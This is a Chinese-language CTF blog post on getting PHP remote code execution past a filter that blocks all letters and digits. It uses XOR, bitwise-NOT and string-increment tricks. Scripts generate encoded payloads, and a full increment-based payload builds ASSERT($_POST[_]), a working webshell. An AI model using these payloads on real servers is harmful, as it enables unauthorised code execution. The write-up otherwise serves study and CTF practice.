记得有一次再buuctf刷题的时候,看到了这串代码
if(preg_match("/[A-Za-z0-9]+/",$code))
把字母和数字全都waf了,当时还不会如何做到无数字字母的rce,就索性全学了整理下来。

异或绕过

首先第一种绕过是异或绕过。首先得先了解一点,urlencode和普通十六进制编码其实差别不大,仅仅是写法不同罢了,例如普通十六进制是0xff,在url编码里是%ff,仅仅差别前缀,一个是0x,一个是#。
而异或则可以把其它可用的字符运算成需要的字符,举个例子:P字符被正则过滤了,但是P字符可以由.和~异或运算而来,即P=(‘.’^’~‘)所以如果想传P的话,一种方法就是:payload=(%2e)^(%7e)。其中%2e和%7e分别是.和~的url编码。

那么具体原理知道了,就可以开始操作了,首先是要生成异或后的可见字符,可以写脚本,一下是我用python写的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
with open("xor.txt", "w") as xorfile:
plain = ""
for i in range(256):
for j in range(256):
hex_i = format(i, '02x')//这里把i和j变成16进制
hex_j = format(j, '02x')
preg = r'[a-z0-9]'
if bool(re.search(preg, bytes.fromhex(hex_i).decode(errors='ignore'),re.I)) or bool(re.search(preg, bytes.fromhex(hex_j).decode(errors='ignore'),re.I))://这里是正则,为了去掉已进waf的字符,byte...(error=..)的意思是将十六进制转成字符,若遇到错误则忽视他
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) ^ int(b[1:], 16))//这里就是异或运算
if ord(c) >= 32 and ord(c) <= 126://假如c的ascii码在32到126以内,就记录下来
plain += c + " " + a + " " + b + "\n"
xorfile.write(plain)

生成的xor.txt如下:

下面是获取payload的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from sys import *
def rce(arg):
s1=""
s2=""
for i in arg:
xorfile=open("xor.txt","r")
while True:
t=xorfile.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
xorfile.close()
rce="("+s1+"^"+s2+")"
return(rce)
fun=rce(input("your function:"))
com=rce(input("your command:"))
print(fun+com)

取反绕过

第二种便是取反绕过,举个例子,s字符的二进制为:1110011,取反为0001100,把取反后的二进制转成十六进制为%0c,那么s就可以写为(~%0c),以此类推,因为这个脚本异常的简单,所以我就黏贴网络上的了:

1
2
3
4
5
<?php
$a=urlencode(~"system");
$b=urlencode(~"ls");
echo '('.'~'.$a.')'.'('.'~'.$b.')';
?>

具体就是这样,但由于一个字符取反之后仅仅是另外一个唯一的二进制,所以实用性会比异或低一点。

自增绕过

第三个就是自增绕过了,这个感觉有点抽象,我反正是看了许久。在php里如果强制连接字符和数组的话,会得到字符”Array”,例如[].''

而如果一个变量创建完不赋值的话就会默认为false,也就是0,而Array的第0个字母恰好又是”A”,利用这点,我们就可以得到”A”,有了A以后,就可以通过自增的到BCD…
例如:

‘A’++=’B’

‘B’++=’C’

……

这样就可以构造出所有单词了

下面发出网络上的payload,因为重复性太高我就不自己写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
?>
更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝